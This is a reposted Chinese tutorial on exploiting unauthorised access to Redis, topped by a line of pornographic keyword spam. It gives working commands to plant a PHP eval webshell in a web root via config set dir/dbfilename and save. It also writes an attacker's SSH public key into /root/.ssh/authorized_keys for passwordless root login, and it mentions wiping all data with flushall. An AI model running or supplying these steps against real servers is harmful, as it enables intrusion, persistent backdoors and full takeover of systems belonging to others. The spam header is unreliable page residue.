日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 运维知识 > 数据库 >内容正文

数据库

Redis未授权访问写Webshell和公私钥认证获取root权限

發(fā)布時(shí)間:2025/7/25 数据库 55 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Redis未授权访问写Webshell和公私钥认证获取root权限 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

0x01?什么是Redis未授權(quán)訪問(wèn)漏洞

Redis?默認(rèn)情況下,會(huì)綁定在?0.0.0.0:6379,如果沒(méi)有進(jìn)行采用相關(guān)的策略,比如添加防火墻規(guī)則避免其他非信任來(lái)源?ip?訪問(wèn)等,這樣將會(huì)將?Redis?服務(wù)暴露到公網(wǎng)上,如果在沒(méi)有設(shè)置密碼認(rèn)證(一般為空)的情況下,會(huì)導(dǎo)致任意用戶在可以訪問(wèn)目標(biāo)服務(wù)器的情況下未授權(quán)訪問(wèn)?Redis?以及讀取?Redis?的數(shù)據(jù)。攻擊者在未授權(quán)訪問(wèn)?Redis?的情況下,利用?Redis?自身的提供的config?命令,可以進(jìn)行寫文件操作,攻擊者可以成功將自己的ssh公鑰寫入目標(biāo)服務(wù)器的?/root/.ssh?文件夾的authotrized_keys?文件中,進(jìn)而可以使用對(duì)應(yīng)私鑰直接使用ssh服務(wù)登錄目標(biāo)服務(wù)器。

簡(jiǎn)單說(shuō),漏洞的產(chǎn)生條件有以下兩點(diǎn):

(1)Redis綁定在?0.0.0.0:6379,且沒(méi)有進(jìn)行添加防火墻規(guī)則避免其他非信任來(lái)源ip訪問(wèn)等相關(guān)安全策略,直接暴露在公網(wǎng);

(2)沒(méi)有設(shè)置密碼認(rèn)證(一般為空),可以免密碼遠(yuǎn)程登錄redis服務(wù)。

??漏洞的危害

(1)攻擊者無(wú)需認(rèn)證訪問(wèn)到內(nèi)部數(shù)據(jù),可能導(dǎo)致敏感信息泄露,黑客也可以惡意執(zhí)行flushall來(lái)清空所有數(shù)據(jù);

(2)攻擊者可通過(guò)EVAL執(zhí)行l(wèi)ua代碼,或通過(guò)數(shù)據(jù)備份功能往磁盤寫入后門文件;

(3)最嚴(yán)重的情況,如果Redis以root身份運(yùn)行,黑客可以給root賬戶寫入SSH公鑰文件,直接通過(guò)SSH登錄受害服務(wù)器

?

0x02?利用Redis寫Webshell

  • 利用前提:

  • l??靶機(jī)Redis鏈接未授權(quán),在攻擊機(jī)上能用redis-cli連上,如上圖,并未登陸驗(yàn)證
  • l??開(kāi)了web服務(wù)器,并且知道路徑(如利用phpinfo,或者錯(cuò)誤爆路經(jīng)),還需要具有文件讀寫增刪改查權(quán)限(我們可以將dir設(shè)置為一個(gè)目錄a,而dbfilename為文件名b,再執(zhí)行save或bgsave,則我們就可以寫入一個(gè)路徑為a/b的任意文件。)
  • 1.通過(guò)phpinfo頁(yè)面或者其他方法獲取Redis服務(wù)器網(wǎng)站的根目錄

    ?

    得到服務(wù)器網(wǎng)站的根目錄是:/var/www/html

    2.?通過(guò)redis-cli與Redis服務(wù)端進(jìn)行連接,通過(guò)Redis未授權(quán)直接連接Redis服務(wù)端

    root@ubuntu:~# redis-cli -h 192.168.5.57

    ?

    ?利用前面我們已經(jīng)得知的網(wǎng)站根目錄開(kāi)始利用Redis寫Webshell(一句話木馬)

    config set dir /var/www/html

    config set dbfilename webshell.php
    set webshell "<?php echo @eval($_POST['x']); ?>"
    save

    連接shell

    ?

    ?0x02?利用"公私鑰"認(rèn)證獲取root權(quán)限,ssh免密登陸目標(biāo)服務(wù)器

    1、?在攻擊機(jī)(redis客戶端)中生成ssh公鑰和私鑰,密碼設(shè)置為空

    root@ubuntu:~# ssh-keygen -t rsa

    2、?進(jìn)入/root/.ssh目錄:??cd /root/.ssh?,?講生成的公鑰保存到1.txt(名字隨意)

    root@ubuntu:~# cd /root/.ssh/ root@ubuntu:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt root@ubuntu:~/.ssh# ls -a . .. 1.txt id_rsa id_rsa.pub known_hosts

    3、?鏈接目標(biāo)服務(wù)器上的Redis服務(wù),將保存的公鑰1.txt寫入Redis(使用redis-cli -h ip命令連接靶機(jī),將文件寫入)

    cat 1.txt | redis-cli -h 10.10.10.135 -x set crack

    4、?通過(guò)客戶端遠(yuǎn)程登陸目標(biāo)靶機(jī)的Redis服務(wù),并使用?CONFIG GET dir?命令得到Redis備份的路徑

    redis-cli -h 10.10.10.135CONFIG GET dir

    5、?更改Redis備份路徑為ssh公鑰存放目錄(一般默認(rèn)為/root/.ssh)

    config set dir /root/.ssh

    6、?設(shè)置上傳公鑰的備份文件名字為authorized_keys

    CONFIG SET dbfilename authorized_keys

    7、?檢查是否更改成功(查看有沒(méi)有authorized_keys文件),沒(méi)有問(wèn)題就保存然后退出

    CONFIG GET dbfilenamesaveexit

    8、?在攻擊機(jī)上使用SSH免密登錄靶機(jī)

    ssh -i id_rsa root@x.x.xx

    ?

    ?

    最后成功root權(quán)限登陸目標(biāo)系統(tǒng)

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    轉(zhuǎn)載于:https://www.cnblogs.com/-qing-/p/10978912.html

    總結(jié)

    以上是生活随笔為你收集整理的Redis未授权访问写Webshell和公私钥认证获取root权限的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

    如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。